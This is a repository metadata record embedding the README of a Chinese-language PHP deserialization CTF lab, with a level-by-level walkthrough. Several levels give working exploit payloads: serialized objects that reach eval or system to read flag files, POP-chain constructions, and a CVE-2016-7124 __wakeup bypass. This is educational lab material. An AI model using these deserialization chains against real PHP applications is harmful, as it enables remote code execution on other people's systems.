{"id":13577300,"url":"https://github.com/ProbiusOfficial/PHPSerialize-labs","last_synced_at":"2025-04-05T11:32:06.515Z","repository":{"id":247289312,"uuid":"665877567","full_name":"ProbiusOfficial/PHPSerialize-labs","owner":"ProbiusOfficial","description":"【Hello CTF】PHPSerialize-labs是一个使用php语言编写的，用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。","archived":false,"fork":false,"pushed_at":"2024-07-13T16:11:17.000Z","size":363,"stargazers_count":104,"open_issues_count":0,"forks_count":8,"subscribers_count":4,"default_branch":"main","last_synced_at":"2024-08-02T15:33:44.663Z","etag":null,"topics":["ctf","ctf-challenges","ctf-labs"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ProbiusOfficial.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-07-13T07:48:08.000Z","updated_at":"2024-07-29T05:11:53.000Z","dependencies_parsed_at":"2024-07-11T14:42:09.209Z","dependency_job_id":null,"html_url":"https://github.com/ProbiusOfficial/PHPSerialize-labs","commit_stats":null,"previous_names":["probiusofficial/phpserialize-labs"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPSerialize-labs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPSerialize-labs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPSerialize-labs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPSerialize-labs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ProbiusOfficial","download_url":"https://codeload.github.com/ProbiusOfficial/PHPSerialize-labs/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":223186517,"owners_count":17102477,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ctf","ctf-challenges","ctf-labs"],"created_at":"2024-08-01T15:01:20.270Z","updated_at":"2025-04-05T11:32:06.504Z","avatar_url":"https://github.com/ProbiusOfficial.png","language":"PHP","funding_links":[],"categories":["PHP"],"sub_categories":[],"readme":"# PHPSerialize-labs\nPHPSerialize-labs是一个使用php语言编写的，用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。\n\n# 推荐的学习资源\n\n- [Bilibili-橙子科技-PHP反序列化漏洞学习](https://www.bilibili.com/video/BV1R24y1r71C)\n    \u003e 为爱发电最强的一集，陈腾师傅的课应该是圈里面讲的最细的了，而且是一套完整体系，通俗易懂，很推荐各位看x  \n      这个视频还有一套配套的靶场:[mcc0624/php_ser_Class](https://github.com/mcc0624/php_ser_Class)\n\n- [ctfshow/web257-268](https://ctf.show/challenges#web254-713)\n    \u003e ctfshow的题目是圈内出名的体系化和梯度化，很适合新手入门，其WP在网络上很容易找到，生态很不错。\n    当然ctfshow本身也有视频讲解：[Bilibili-ctfshow-Web257-268](https://www.bilibili.com/video/BV1D64y1m78f)\n\n- [fine-1/php-SER-libs](https://github.com/fine-1/php-SER-libs)\n    \u003e fine-1(这周末在做梦)师傅的靶场，在README中附带有WriteUp\n\n- [PHP 手册](https://www.php.net/manual/zh/)\n    \u003e PHP官方手册，遇事不决，看看说明书x\n\n# 部署\n\n## 本地部署\n\n### 使用 `docker-compose` 部署\n\n```bash\ngit clone --depth 1 https://github.com/ProbiusOfficial/PHPSerialize-labs.git\ncd PHPSerialize-labs\nsudo docker-compose up -d   # 访问 http://localhost:8080/\n```\n## 合作平台\n题目已上线 [【NSSCTF平台】](https://www.nssctf.cn/problem) 可在来源中选择 **HelloCTF** 或直接搜索 **反序列化靶场**：\n\n![QQ_1742634141565](https://github.com/user-attachments/assets/57d425b7-e96d-4063-99c0-8bd8b2bbf48a)\n\n\n# 2024/07/04 更新\n- Level 1: 类的实例化\n- Level 2: 对象中值的传递\n- Level 3: 对象中值的权限\n- Level 4: 序列化初体验\n- Level 5: 序列化的普通值规则\n- Level 6: 序列化的权限修饰规则\n\n# 2024/07/05 更新\n- Level 7: 实例化和反序列化\n- Level 8: 构造函数和析构函数以及GC机制\n- Level 9: 构造函数的后门\n\n# 2024/07/07 更新\n- Level 10: __wakeup()\n- Level 11: __wakeup() CVE-2016-7124\n- Level 12: __sleep()\n- Level 13: __toString()\n- Level 14: __invoke()\n- Level 15: POP链前置\n- Level 16: POP链构造\n- Level 17: 字符串逃逸基础-无中生有\n\n# WriteUP\n\n## Level 0\n\n在开始学习序列化和反序列化之前，请先完成一些前导课程：\n\n- PHP环境配置\n- PHP语法基础\n- PHP面向对象编程\n\n若您对以上内容不熟悉，推荐您阅读菜鸟教程中 [PHP面向对象](https://www.runoob.com/php/php-oop.html) 部分。\n\n## Level 1\n\n第一题考察 类的实例化 —— 也就是对象的创建。\n\n在 PHP 中，我们使用 new + 类名() 去创建一个对象。\n\n**POST提交：**(注意由于防止非预期使用判断new的方法导致第一个方法无法使用，但思路不受影响)\n\ncode=`new FLAG();`\n\ncode=`$o=new FLAG();`\n\n## Level 2\n\n考察对象的赋值操作，相比于面向过程，对对象中值的更改，需要通过 `-\u003e` 符号来指向可修改的变量，这里的可修改指的是 控制修饰符 public 对应的值，像 protected 和 private 修饰的值，需要使用更复杂的修改方法。\n\n对于任何可以修改的值，我们使用 `$对象名 -\u003e 对应值 = 值` .eg: `$object_name-\u003ea=\"a\"`\n\n所以在这个题目中，我们需要将 `$flag_string` 赋值给 `$free_flag` 以便我们后面的 `get_free_flag()` 函数将他输出出来。\n\n**POST提交：**\n\ncode=`$target-\u003e$free_flag=$flag_string;`\n\n## Level 3\n\n考察 控制修饰符：\n\n- **public（公有）：** 公有的类成员可以在任何地方被访问。\n- **protected（受保护）：** 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)\n- **private（私有）：** 私有的类成员则只能被其定义所在的类访问。(不可继承)\n\n这里 SubFLAG 继承了 FLAG，除开 public 修饰的值，对于另外两个：\n\n- `protected $protected_flag` 可以通过 `get_protected_flag()` / `get_private_flag()` 访问，因为受保护的变量是可以被继承的。\n- `private $private_flag`则只能通过 `get_private_flag()` 进行访问，因为私有变量不能被继承。\n\n而对象中函数的调用和值的访问类似，也通过 `-\u003e` 符号实现：`$对象名 -\u003e 函数名();` \n\n**POST提交：**\n\ncode=`echo $target-\u003epublic_flag.$target-\u003eget_protected_flag().$target-\u003eget_private_flag();`\n\ncode=`echo $target-\u003epublic_flag.$sub_target-\u003eshow_protected_flag().$target-\u003eget_private_flag();`\n\n## Level 4\n\n一道用来考察序列化的套壳题目，序列化虽然不会标记函数，但是会完整的输出变量和变量内容。\n\n题目已经使用 `$flag_is_here = new FLAG();` 实例化创建了一个对象，所以我们只需要序列化并且打印出来这一段字符串。\n\n**POST提交：**\n\ncode=`echo serialize($flag_is_here);`\n\n你会得到这样的字符串：\n\n```PHP\nO:4:\"FLAG\":3:{s:18:\"FLAGflag1_string\";s:8:\"ser4l1ze\";s:18:\"FLAGflag2_number\";i:2;s:18:\"FLAGflag3_object\";O:5:\"FLAG3\":1:{s:25:\"FLAG3flag3_object_array\";a:2:{i:0;s:3:\"se3\";i:1;s:2:\"me\";}}}\n```\n\n挑出对应部分拼接即可。\n\n## Level 5\n\n演示和考察序列化中 不同类型变量的不同格式。\n\n而从结果上理解，反序列化其实和参数创建是一个等同的过程 —— 比如下面的例子：\n\n```PHP\n$a_string = \"HelloCTF\"; /*\u003c=等价于=\u003e*/ $a_string = unserialize('s:8:\"HelloCTF\";');\n```\n\n所以该题目按照后面部分的要求编写对应的变量进行序列化，将字符串赋给对应参数即可。\n\n```PHP\n\u003c?php \n\nclass a_class{\n    public $a_value = \"HelloCTF\";\n}\n\n$your_object = new a_class();\n$your_boolean = true;\n$your_NULL = null;\n$your_string = \"IWANT\";\n$your_number = 1;\n$your_object-\u003ea_value = \"FLAG\";\n$your_array = array('a'=\u003e\"Plz\",'b'=\u003e\"Give_M3\");\n\n$exp = \"o=\".serialize($your_object).\"\u0026s=\".serialize($your_string).\"\u0026a=\".serialize($your_array).\"\u0026i=\".serialize($your_number).\"\u0026b=\".serialize($your_boolean).\"\u0026n=\".serialize($your_NULL);\n\necho $exp;\n```\n\n## Level 6\n\n同样是演示和考察序列化中不同类型变量的不同格式，但这里比较特殊 —— 因为引入了控制修饰符。\n\n在对象的序列化和反序列化中，不同控制修饰符，序列化出来的字符串是不同的：\n\n```PHP\n\u003c?php \n\nclass Demo{\n    public $a;\n    protected $b;\n    private $c;\n}\n\necho urlencode(serialize(new Demo()));\n# O%3A4%3A%22Demo%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A4%3A%22%00%2A%00b%22%3BN%3Bs%3A7%3A%22%00Demo%00c%22%3BN%3B%7D\n# O:4:\"Demo\":3:{s:1:\"a\";N;s:4:\"%00*%00b\";N;s:7:\"%00Demo%00c\";N;}\n```\n\n这里的 `%00` 是一个**不可见**的控制字符-`NULL`，对比不难看出对应的规则：\n\n- **protected（受保护）：**  `%00*%00变量名`\n- **private（私有）：** `%00类名%00变量名`\n\n所以在序列化和反序列化的题目中 我们提倡在输出EXP的时候添加一个 `urlencode()` 以避免不可见字符的干扰。\n\n在本题中只需要给对应的变量赋值即可，考察点是在输出的格式上面，由于不可见控制字符的带入，需要使用URL编码来避免丢失。\n\n```PHP\n\u003c?php \nclass protectedKEY{\n    protected $protected_key = \"protected_key\";\n}\nclass privateKEY{\n    private $private_key = \"private_key\";\n}\n\n$exp = \"protected_key=\".urlencode(serialize(new protectedKEY)).\"\u0026private_key=\".urlencode(serialize(new privateKEY));\n\necho $exp;\n```\n\n## Level 7\n\n实例化和反序列化的演示，并且简单的展示了反序列化漏洞的原理。\n\n从结果上来看，实例化和反序列化是一样的，这都会去创建一个对象，但是如果目标类没有构造函数，那么其中的参数控制是不同的。\n\n在没有构造函数时，实例化中对象的各种参数在类中已经决定好了，除非创建后修改；而反序列化则是根据序列化的字符串来**\"还原\"**对象的 —— 这也就意味着，我们可以通过改变序列化的字符串来决定他\"**还原**\"对象中各种量的值。\n\n```PHP\nclass FLAG{\n    public $flag_command = \"echo 'Hello CTF!\u003cbr\u003e';\";\n\n    function backdoor(){\n        eval($this-\u003eflag_command);\n    }\n}\n$Unserialize_object = unserialize('O:4:\"FLAG\":1:{s:12:\"flag_command\";s:24:\"echo 'Hello World!\u003cbr\u003e';\";}');\n```\n\n比如在这个代码例子中，我们可以更改 `s:24:\"echo 'Hello World!\u003cbr\u003e';\"` 这个字符串来做到控制最后 `backdoor()` 函数的执行结果。\n\n所以对于该题目中`unserialize($_POST['o'])-\u003ebackdoor();`，EXP：\n\n```PHP\n\u003c?php \nclass FLAG{\n    public $flag_command = \"system('tac flag.php');\";\n}\n$exp = \"o=\".urlencode(serialize(new FLAG()));\necho $exp;\n```\n\n## Level 8\n\n考察 构造函数 (`__construct()`) 和 析构函数 (`__destruct()`) ，并且引入了一些 PHP垃圾回收机制的知识点 —— 请注意，GC机制和析构函数息息相关。\n\n构造函数只会在类实例化的时候 —— 也就是使用 new 的方法手动创建对象的时候才会触发，而通过反序列化创建的对象不会触发这一方法，这也是为什么，在前面的内容，我将反序列化的对象创建过程称作为 “**还原**”。\n\n析构函数会在对象被回收的时候触发 —— 手动回收和自动回收。\n\n手动回收：就是代码中演示的 unset 方法用于释放对象。\n\n自动回收：对象没有值引用指向，或者脚本结束完全释放，具体看题目中的演示结合该部分文字应该不难理解。\n\n题目要求 全局变量 标识符flag的值大于5，根据 __destruct() 和 PHP GC 的特性，我们可以不断地去序列化和反序列化一个对象，然后不给该对象具体的引用以触发自动销毁机制。\n\n**POST：**\n\ncode=`unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));`\n\n## Level 9\n\n序列化和反序列化中的常规简单题目，这里考察的是一个析构函数漏洞的利用点，其实可以类比之前 实例化和反序列化，此外 本题为动态容器，flag位于根目录下 /flag EXP如下：\n\n```PHP\n\u003c?php\nclass FLAG {\n    var $flag_command = \"system('cat /flag');\";\n}\n$exp = \"o=\".urlencode(serialize(new FLAG()));\necho $exp;\n```\n\n要注意PHP语句要用`;`结尾。\n\n## Level 10\n\n正式的进入了反序列化的题目，这里我们从第一个常见的魔术方法 —— `__wakeup()` 开始。\n\n\u003e [unserialize()](https://www.php.net/manual/zh/function.unserialize.php) 会检查是否存在一个 [__wakeup()](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup) 方法。如果存在，则会先调用 `__wakeup` 方法，预先准备对象需要的资源。\n\u003e\n\u003e [__wakeup()](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup) 经常用在反序列化操作中，例如重新建立数据库连接，或执行其它初始化操作。\n\u003e\n\u003e ——[【PHP 手册 - 魔术方法 # wakeup】](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup)\n\n当我们从序列化字符串还原对象，也就是进行反序列化操作的时候，wakeup方法会被触发：\n\n```PHP\nclass FLAG{\n    function __wakeup() {\n        include 'flag.php';\n        echo $flag;\n    }\n}\n\nif(isset($_POST['o']))\n{\n    unserialize($_POST['o']);\n}else {\n    highlight_file(__FILE__);\n}\n?\u003e\n```\n\n题目要求我们用 `o` 以POST的方式提交一个序列化字符串，而后进行反序列化工作，所以我们只需要在本地创建FLAG类然后序列化为字符串即可，EXP：\n\n```PHP\n\u003c?php \nclass FLAG{}\n\n$obj = new FLAG();\n\necho urlencode(serialize($obj));\n```\n\n## Level 11\n\n考察一个wakeup的Bypass CVE：**CVE-2016-7124**\n\n\u003e 如果存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行。\n\n```PHP\nclass FLAG {\n    public $flag = \"FAKEFLAG\";\n\n    public function  __wakeup(){\n        global $flag;\n        $flag = NULL;\n    }\n    public function __destruct(){\n        global $flag;\n        if ($flag !== NULL) {\n            echo $flag;\n        }else\n        {\n            echo \"sorry,flag is gone!\";\n        }\n    }\n}\n```\n\n我们先使用语句` echo serialize(new FLAG());` 将其对应的序列化字符串输出出来，得到：\n\n```PHP\nO:4:\"FLAG\":1:{s:4:\"flag\";s:8:\"FAKEFLAG\";}\n```\n\n可以看到，该类有一个成员属性，我们手动修改成员属性对象的数量 1 -\u003e 2：\n\n```PHP\nO:4:\"FLAG\":2:{s:4:\"flag\";s:8:\"FAKEFLAG\";}\n```\n\n再按照对应的要求，用 o 以 POST 的方式提交即可：\n\n```PHP\no=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A8%3A%22FAKEFLAG%22%3B%7D\n```\n\n## Level 12\n\n考察魔术方法 __sleep() 的使用。\n\nserialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。\n\n- **必要的返回内容**：该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']，数组中的属性名将决定哪些变量将被序列化，当属性被 static 修饰时，无论有无都无法序列化该属性。\n- **私有属性命名**：如果需要返回父类中的私有属性，需要使用序列化中的特殊格式 - `%00父类名称%00变量名` (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 \"\\0\" - 注意在双引号中，PHP 才会解析转义字符和变量。)。\n  - 例如，父类 FLAG 的私有属性 `private $f`; 应该在子类的` __sleep()` 方法中以 \"`\\0FLAG\\0f`\" 的格式返回。\n- **未返回任何内容**：如果 `__sleep()` 方法未返回任何内容或返回非数组类型，会触发 E_NOTICE 级别的错误，并且对象会被序列化为 `null` 空值。\n\n该题目是一个 演示 + 实践 的组合题目（通俗点就是缝合怪（bushi\n\n```PHP\nreturn array($array_list[$_],$array_list[$__],$this-\u003echance());\n```\n\n可以看到，每次我们请求的时候脚本都会返回两个随机数组，而这两个随机数组会决定我们看到的序列化字符串中涉及的变量，因此每次请求得到的字符串是不一样的。\n\n而且下面的这部分代码告诉我们：\n\n```PHP\n$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];\n```\n\n每一次随机的字符串都是单字符 —— 这也就意味着，当他调用父类对象中的私有属性时无法显示，因为前面我们说到：“如果需要返回父类中的私有属性，需要使用序列化中的特殊格式 - `%00父类名称%00变量名`”。\n\n好在题目提供了另一个方法：`function chance() { return $_GET['chance']; }` 来让我们自定义反序列化的内容。\n\n最终的Flag：\n\n```PHP\nHelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}\n```\n\n## Level 13\n\n本关考验你魔法方法中的 __toString() 方法，你将有该方法的对象，打印出来，得到 Flag 方可过关，你明白吗（雾\n\n__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。\n\n题目已经完成了类的实例化：`$obj = new FLAG();`\n\n所以我们只需要 POST 提交 `o=echo $obj;` 即可。\n\n## Level 14\n\n该关卡考察魔术方法 __invoke()，当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。例如 $obj()。\n\n__invoke() 也可以接受参数，如题目所示：\n\n```PHP\nclass FLAG{\n    function __invoke($x) {\n        if ($x == 'get_flag') {\n            include 'flag.php';\n            echo $flag;\n        }\n    }\n}\n$obj = new FLAG();\n```\n\n对象已经被实例化，我们需要给该对象传入 'get_flag' 字符串：\n\n`o=$obj('get_flag')`,POST 提交即可。\n\n## Level 15\n\n一个简单的POP链题目原理题 —— 虽然是POP链有多个对象但本质上只用到了__wakeUp()魔术方法。\n\n在 PHP 的面向对象中，对象的成员属性可以是一个对象（这里的对象包括自己在内的对象和其他对象）。\n\n在序列化和反序列化题目中，我们通常从终点向上查找，比如下面的题目： 很明显，终点是：`class destnation` — `public function action(){ eval($this-\u003ecmd-\u003ea-\u003eb-\u003ec); }`\n\n接下来就是考虑去调用终点，查找所有类，最后在D类中可以看到：\n\n```\nclass D { public function __wakeUp() { $this-\u003ed-\u003eaction(); }\n```\n\n即 `__wakeUp()` 函数存在一个 `action()` 的函数调用，所以我们只需要让 `$this-\u003ed` 的值为 实例化的 `class destnation`即可，那么EXP如下：\n\n```PHP\n\u003c?php\n\nclass A {\n    public $a;\n    public function __construct($a) {\n        $this-\u003ea = $a;\n    }\n}\nclass B {\n    public $b;\n    public function __construct($b) {\n        $this-\u003eb = $b;\n    }\n}\nclass C {\n    public $c;\n    public function __construct($c) {\n        $this-\u003ec = $c;\n    }\n}\n\nclass D {\n    public $d;\n    public function __construct($d) {\n        $this-\u003ed = $d;\n    }\n    public function __wakeUp() {\n        $this-\u003ed-\u003eaction();\n    }\n}\n\nclass destnation {\n    var $cmd;\n    public function __construct($cmd) {\n        $this-\u003ecmd = $cmd;\n    }\n    public function action(){\n        eval($this-\u003ecmd-\u003ea-\u003eb-\u003ec);\n    }\n}\n\n$c = new C(\"system('cat /flag');\");\n$b = new B($c);\n$a = new A($b);\n$des = new destnation($a);\n$d =  new D($des);\n\nunserialize(serialize($d));\n```\n\n## Level 16\n\n第一个真正意义上的POP链，这里涉及到了三个我们在前面学过的魔术方法：\n\n- `__wakeUp()` 方法用于反序列化时自动调用。例如 unserialize()。\n- `__invoke()` 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。\n- `__toString()` 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。\n\n同样的我们先找终点 —— \n\n```PHP\nclass A {\n    public $a;\n    public function __invoke() {\n            include $this-\u003ea;\n            return $flag;\n    }\n}\n```\n\n很明显终点也需要一些更改：$this-\u003ea 的值要为 flag.php\n\n然后查找，哪里有函数调用相关的类：\n\n```PHP\nclass B {\n    public $b;\n    public function __toString() {\n        return ($this-\u003eb)();\n    }\n}\n```\n\n那么让 $b = new A() 即可。\n\n接下来就是触发 __toString() ，那么向上查找打印相关的函数 ——\n\n```PHP\nclass INIT {\n    public $name;\n    public function __wakeUp() {\n        echo $this-\u003ename.' is awake!';\n    }\n}\n```\n\n至此写出链子 INIT-\u003ename--\u003eB-\u003eb-\u003eA-\u003ea，EXP:\n\n```PHP\nclass A {\n    public $a='flag.php';\n}\n\nclass B {\n    public $b;\n}\n\nclass INIT {\n    public $name;\n}\n\n$a = new A();\n$b = new B();\n$b-\u003eb = $a;\n$init = new INIT();\n$init-\u003ename  = $b;\n\necho urlencode(serialize($init));\n```\n\n## Level 17\n\n本题为字符串逃逸题目的前置基础题，反序列化创建的对象由原始对象和序列化字符串共同决定，但是后者的优先级更高，这也就产生了一个\"无中生有\"的特性 —— 在极端条件下，A 类的代码定义为 `class A {}` 是一个完全空白的类，但此时用一个同样是A类但是有多种变量的对象创建的序列化字符串去反序列化还原时，可以得到一个拥有对应变量的A对象，这一点题目中演示得比较清楚。\n\n为什么说共同决定，当序列化字符串中没有对应类的一些成员属性的时候，在反序列化时，解释器会直接从当前类中 COPY 序列化中不存在的成员属性。\n\n这个题目最终需要构建一还原后属于A类的序列化字符串，其中需要存在一个变量` helloctfcmd` 的值为 `get_flag`，本地构建一个符合要求的A类直接输出序列化字符串即可：\n\n```PHP\nclass A {\n    public $helloctfcmd = \"get_flag\";\n}\necho urlencode(serialize(new A()));\n```\n\n## Level 18\n\n本题依旧为字符串逃逸题目的前置基础题，序列化和反序列化另一个的规则特性,字符串尾部判定：在进行反序列化时，当成员属性的数量，名称长度，内容长度均一致时，程序会以 \";}\" 作为字符串的结尾判定。\n\n在前面的序列化过程我们可以得到这样的字符串：\n\n```PHP\nO:4:\"Demo\":3:{s:1:\"a\";s:5:\"Hello\";s:1:\"b\";s:3:\"CTF\";s:3:\"key\";s:20:\"GET_FLAG\";}FAKE_FLAG\";}\n```\n\n而阅读最后FLAG的条件源码，可知：\n\n```PHP\nif ($FLAG instanceof FLAG \u0026\u0026 $FLAG-\u003ekey == 'GET_FLAG') {\n    include 'flag.php';\n    echo $flag;\n} else {\n    echo \"Your serliaze string is \".$serliseStringFLAG . \"\u003cbr\u003e And Here is \";\n    var_dump($FLAG);\n}\n```\n\n可以看到本题要求我们做一些替换工作让 `key` 值为 `GET_FLAG` ，而在前面的对象创建过程中，我们知道 key 值为 `GET_FLAG\";}FAKE_FLAG`，根据我们所知的特性，将 key 值对应的字符数量缩窄只留下 `GET_FLAG`，也就是 8 个字符 —— 将 20 替换为 8即可，接着 题目要求一个新的 FLAG 类，所以还需要将类名标识由 Demo 改为 FLAG。\n\n```PHP\n$target = array('Demo', 20);\n$change = array('FLAG', 8);\n```\n构造的exp：\n```bash\n../index.php?target[]=Demo\u0026target[]=20\u0026change[]=FLAG\u0026change[]=8\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FProbiusOfficial%2FPHPSerialize-labs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FProbiusOfficial%2FPHPSerialize-labs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FProbiusOfficial%2FPHPSerialize-labs/lists"}